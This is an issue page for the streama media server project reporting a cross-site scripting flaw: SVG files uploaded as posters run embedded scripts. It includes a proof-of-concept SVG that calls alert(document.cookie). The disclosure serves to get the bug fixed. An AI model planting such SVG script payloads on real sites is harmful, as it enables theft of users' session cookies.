streamaserver/streama

XSS in the Upload Poster feature using an SVG image

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#1.088 geöffnet am 13. Sept. 2021

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 (0 Kommentare) (1 Reaktion) (0 zugewiesene Personen)JavaScript (9.565 Stars) (977 Forks)batch import
BugHelp wanted

Beschreibung

If uploading a SVG file in the poster file browser containing a script tag, this script tag will be executed when opening the file. example file:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" id="mysvg">
<script>
alert(document.cookie);
</script>
</svg>

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